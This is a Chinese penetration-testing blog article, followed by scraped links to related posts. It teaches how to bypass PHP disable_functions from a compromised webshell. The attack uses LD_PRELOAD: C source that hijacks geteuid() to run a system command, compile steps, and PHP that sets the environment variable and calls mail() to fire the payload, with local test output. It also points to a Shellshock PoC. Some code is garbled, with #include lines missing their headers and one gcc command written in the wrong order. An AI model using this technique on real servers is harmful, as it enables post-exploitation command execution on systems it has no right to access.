0x00 前言

在做渗透测试的时候如果遇到安全配置比较好的服务器,当你通过各种途径获得一个php类型的webshell后,却发现面对的是无法执行系统命令的尴尬,因为这类服务器针对命令执行函数做了防范措施,后续的渗透行为都因此而止步。笔者这里分享一个绕过思路,希望你能在实际测试中派上用场。

0x02 绕过思路

严苛环境下php设置的disable_function如下:

dl

exec

system

passthru

popen

proc_open

pcntl_exec

shell_exec

如果你遇到的设置中漏掉某些函数,那再好不过了,直接利用漏掉的函数绕过。但如果运气不太好,遇到这种所有能直接执行系统命令的函数都被禁用的情况,那真是欲哭无泪。想反弹一个cmdshell变成奢望。当然考虑到开发使用等影响因素,一般web环境不应完全禁用。

笔者经过大量资料搜寻,发现在这种情况下还有几种执行系统命令的方法,例如通过/proc/self/mem 修改got来劫持库函数调用以及php反序列化内存破坏漏洞利用,但这些方法利用起来难度都较大,你得先搞清楚内存偏移地址等等知识点,并搭建相同的平台进行调试。而且一般来说安全配置还会严格限制用户的文件权限并设置open_basedir,你根本没有机会去读取mem等文件,很难利用成功。

那么还有没有别的方法?putenv和mail函数给了我们希望,如果系统没有修补bash漏洞,利用网上已经给出的poc: http://www.exploit-db.com/exploits/35146/ 可以轻松绕过。

这个poc大体思路是通过putenv来设置一个包含自定义函数的环境变量,通过mail函数来触发。为什么mail函数能触发,因为mail函数在执行过程中,php与系统命令执行函数有了交集,它调用了popen函数来执行,如果系统有bash漏洞,就直接触发了恶意代码的执行。但一般这种漏洞,安全意识好一点的运维,都会给打上补丁了。

那么我们来继续挖掘一下它的思路,php的mail函数在执行过程中会默认调用系统程序/usr/sbin/sendmail,如果我们能劫持sendmail程序,再用mail函数来触发就能实现我们的目的了。那么我们有没有办法在webshell层来劫持它呢,环境变量LD_PRELOAD给我们提供了一种简单实用的途径。

0x03 LD_PRELOAD hack

在UNIX的动态链接库的世界中,LD_PRELOAD是一个有趣的环境变量,它可以影响程序运行时的链接,它允许你定义在程序运行前优先加载的动态链接库。如果你想进一步了解这些知识,可以去网上搜索相关文章,这里不做过多解释,直接来看一段例程,就能明白利用原理。

例程:verifypasswd.c

#!c

#include

#include

int main(int argc, char **argv){

char passwd[] = "password";

if (argc < 2) {

printf("usage: %s /n", argv[0]);

return;

}

if (!strcmp(passwd, argv[1])) {

printf("Correct Password!/n");

return;

}

printf("Invalid Password!/n");

}

程序很简单,根据判断传入的字符串是否等于"password",得出两种不同结果。 其中用到了标准C函数strcmp函数来做比较,这是一个外部调用函数,我们来重新编写一个同名函数:

#!c

#include

#include

int strcmp(const char *s1, const char *s2){

printf("hack function invoked. s1= s2=/n", s1, s2);

return 0;

}

把它编译为一个动态共享库:

#!shell

$ gcc -o verifypasswd.c verifypasswd

$ gcc -shared verifypasswd -o hack.so

通过LD_PRELOAD来设置它能被其他调用它的程序优先加载:

#!shell

$ export LD_PRELOAD="./hack.so"

运行给出的例程:

#!shell

$ ./verifypasswd abcd

$ Correct Password!

我们看到随意输入字符串都会显示密码正确,这说明程序在运行时优先加载了我们自己编写的程序。这也就是说如果程序在运行过程中调用了某个标准的动态链接库的函数,那么我们就有机会通过LD_PRELOAD来设置它优先加载我们自己编写的程序,实现劫持。

0x04 实战测试

那么我们来看一下sendmail函数都调用了哪些库函数,使用 readelf -Ws /usr/sbin/sendmail 命令来查看,我们发现sendmail函数在运行过程动态调用了很多标准库函数:

#!shell

[[email protected] Desktop]$ readelf -Ws /usr/sbin/sendmail Symbol table '.dynsym' contains 202 entries: Num: Value Size Type Bind Vis Ndx Name 0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND 1: 0000000000000238 0 SECTION LOCAL DEFAULT 1 2: 0000000000000000 0 FUNC GLOBAL DEFAULT UND[emailprotected]_2.2.5 (2) 3: 0000000000000000 0 FUNC GLOBAL DEFAULT UND[emailprotected]_2.2.5 (2) 4: 0000000000000000 0 FUNC GLOBAL DEFAULT UND pcre_fullinfo 5: 0000000000000000 0 FUNC GLOBAL DEFAULT UND[emailprotected]_2.2.5 (2) 6: 0000000000000000 0 FUNC GLOBAL DEFAULT UND[emailprotected]_2.2.5 (2) 7: 0000000000000000 0 FUNC GLOBAL DEFAULT UND[emailprotected]_2.3 (3) 8: 0000000000000000 0 FUNC GLOBAL DEFAULT UND[emailprotected]_2.3 (3) 9: 0000000000000000 0 FUNC GLOBAL DEFAULT UND[emailprotected]_2.2.5 (2) 10: 0000000000000000 0 FUNC GLOBAL DEFAULT UND[emailprotected]_2.2.5 (2) 11: 0000000000000000 0 FUNC GLOBAL DEFAULT UND[emailprotected]_2.2.5 (2) 12: 0000000000000000 0 FUNC GLOBAL DEFAULT UND db_version 13: 0000000000000000 0 OBJECT GLOBAL DEFAULT UND[emailprotected]_2.2.5 (2) 14: 0000000000000000 0 FUNC GLOBAL DEFAULT UND[emailprotected]_2.2.5 (2) 15: 0000000000000000 0 FUNC GLOBAL DEFAULT UND[emailprotected]_2.2.5 (2) 16: 0000000000000000 0 FUNC GLOBAL DEFAULT UND[emailprotected]_2.2.5 (2) 17: 0000000000000000 0 FUNC GLOBAL DEFAULT UND[emailprotected]_2.2.5 (2) 18: 0000000000000000 0 FUNC GLOBAL DEFAULT UND[emailprotected]_2.2.5 (2) 19: 0000000000000000 0 FUNC WEAK DEFAULT UND[emailprotected]_2.2.5 (2) 20: 0000000000000000 0 FUNC GLOBAL DEFAULT UND

[email protected]

_2.2.5 (2) ......

从中选取一个合适的库函数后我们就可以进行测试了:

编制我们自己的动态链接程序。

通过putenv来设置LD_PRELOAD,让我们的程序优先被调用。

在webshell上用mail函数发送一封邮件来触发。

我们来测试删除一个新建的文件,这里我们选取geteuid()函数来改造,先在/tmp目录新建一个文件check.txt。

编写hack.c:

#!c

#include

#include

#include

void payload() {

system("rm /tmp/check.txt");

}

int geteuid() {

if (getenv("LD_PRELOAD") == NULL) { return 0; }

unsetenv("LD_PRELOAD");

payload();

}

当这个共享库中的geteuid被调用时,尝试加载payload()函数,执行命令。这个测试函数写的很简单,实际应用时可相应调整完善。在攻击机上(注意编译平台应和靶机平台相近,至少不能一个是32位一个是64位)把它编译为一个位置信息无关的动态共享库:

#!shell

$ gcc -c -fPIC hack.c -o hack

$ gcc -shared hack -o hack.so

再上传到webshell上,然后写一段简单的php代码:

#!php

putenv("LD_PRELOAD=/var/www/hack.so");

mail("[email protected]

","","","",""); ?>

在浏览器中打开就可以执行它,然后再去检查新建的文件是否还存在,找不到文件则表示系统成功执行了删除命令,也就意味着绕过成功,测试中注意修改为实际路径。 本地测试效果如下:

#!shell

[[email protected] Desktop]$ touch /tmp/check.txt [[emailprotected] bin]$ ./php mail.php sendmail: warning: the Postfix sendmail command has set-uid root file permissions sendmail: warning: or the command is run from a set-uid root process sendmail: warning: the Postfix sendmail command must be installed without set-uid root file permissions sendmail: fatal: setgroups(1, &500): Operation not permitted [

[email protected]

bin]$ cat /tmp/check.txt cat: /tmp/check.txt: No such file or directory

普通用户权限,目标文件被删除。

0x05 小结

以上方法在Linux RHEL6及自带邮件服务+php5.3.X以下平台测试通过,精力有限未继续在其他平台测试,新版本可能进行了相应修复。这种绕过行为其实也很容易防御,禁用相关函数或者限制环境变量的传递,例如安全模式下,这种传递是不会成功的。这个思路不仅仅局限于mail函数,你可以尝试追踪其他函数的调用过程,例如syslog等与系统层有交集的函数是否也有类似调用动态共享库的行为来举一反三。

php ld preload,利用环境变量LD_PRELOAD来绕过php disable_function执行系统命令相关推荐

  1. 利用环境变量LD_PRELOAD来绕过php disable_function执行系统命令

    YiYang · 2016/05/20 15:55 0x00 前言 在做渗透测试的时候如果遇到安全配置比较好的服务器,当你通过各种途径获得一个php类型的webshell后,却发现面对的是无法执行系统 ...

  2. php mail ld preload,读《利用环境变量LD_PRELOAD来绕过php disable_function执行系统命令》有感...

    今天看来一篇文章:http://cb.drops.wiki/wooyun/drops/tips-16054.html 复现了一下,感觉有点坑 我把复现的过程,结果和遇到问题在这里总结一下 我的实验环境 ...

  3. system+执行mysql命令_Windows环境下通过MySQL以SYSTEM身份执行系统命令 -电脑资料

    前段时间出了两个关于MySQL的漏洞<MySQL CREATE FUNCTION功能mysql.func表允许注入任意函数库漏洞>.<MySQL CREATE FUNCTION功能l ...

  4. mysql ld preload,【Linux】LD_PRELOAD用法

    转载https://blog.csdn.net/iEearth/article/details/49952047 还有一篇博客也可以看看https://blog.csdn.net/xp5xp6/art ...

  5. linux 环境变量LD_PRELOAD简介 定义优先加载的动态链接库

    在Unix操作系统的动态链接库的世界中,LD_PRELOAD就是这样一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库. 这个功能 ...

  6. Linux下的LD_PRELOAD环境变量与库打桩

    Linux下的LD_PRELOAD环境变量与库打桩 LD_PRELOAD是Linux系统的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的 ...

  7. linux子系统 显卡,bash 漏洞?linux授权命令sudo?windows linux子系统?新手理解的bash环境变量解析漏洞...

    你是否正在寻找关于bash 漏洞的内容?让我把最简洁的东西奉献给你: 1 环境变量是什么 无论是Windows程序还是Linux程序,都支持环境变量,一般来讲环境变量作为赋值字符串的形式存放到进程内存 ...

  8. centos shell基础 alias 变量单引号 双引号 history 错误重定向 21 jobs 环境变量 .bash_history source配置文件 nohup ...

    centos shell基础知识 alias  变量单引号 双引号   history 错误重定向 2>&1  jobs  环境变量 .bash_history  source配置文件 ...

  9. Spring使用环境变量控制配置文件加载(转)

    项目中需要用到很多配置文件,不同环境的配置文件是不一样的,因此如果只用一个配置文件,势必会造成配置文件混乱,这里提供一种利用环境变量控制配置文件加载的方法,如下: 一.配置环境变量 如果是window ...

最新文章

  1. java 输入框输入1到9_java程序设计  习题答案1到9
  2. Redux源码全篇浅读
  3. oracle dbstart,dbstart: 未找到命令
  4. Java线程类void setContextClassLoader(ClassLoader loader)方法,带示例
  5. uva 10254——The Priest Mathematician
  6. 前端学习(41):背景实现视觉差效果
  7. python一节课多久_第一节课 python简介
  8. iview 输入框_使用iview框架,如何进行输入框或者按钮的关联验证
  9. Python logging模块实现同时向控制台和文件打印日志
  10. c语言综合编程,C语言编程入门——综合练习(一)
  11. MyEclipse发布项目更改项目名
  12. clientHeight、offsetHeight、innerHeight、ouerHeight 区别
  13. linux下连接mysql数据库命令,linux连接mysql命令
  14. Python暴力破解ZIP文件密码
  15. java netcdf精度_NetCDF 介绍
  16. 量子计算机游戏,第3章 量子计算机中的游戏
  17. 织梦DEDECMS QQ一键登录插件返回空白解决方法
  18. Win11右键怎么直接打开所有选项?
  19. 计算机无法信任的英文,关于信任的英语名言佳句语录
  20. word文档图片画红线_在Word中巧妙绘制漂亮分割线的方法

热门文章

  1. 浅谈服务化和微服务化(上)
  2. php解压程序——unzip6.0的使用,如何使用unzip命令解压缩文件
  3. Alphapose算法
  4. “朋友留言”、“点赞提醒”,公众号是想变成第二个朋友圈?[联络易]
  5. html扇形展开,html5扇形写法canvas
  6. 编程语言之父:六条经典格言送给初入编程界的你
  7. 梯度下降法的三种解释(BGD,SGD,MBGD).
  8. OpenWRT(二)配置WAN口和LAN口
  9. 数字图像处理(2) — 基于VC++环境的人脸美颜软件
  10. ubuntu 下火狐 使用迅雷看看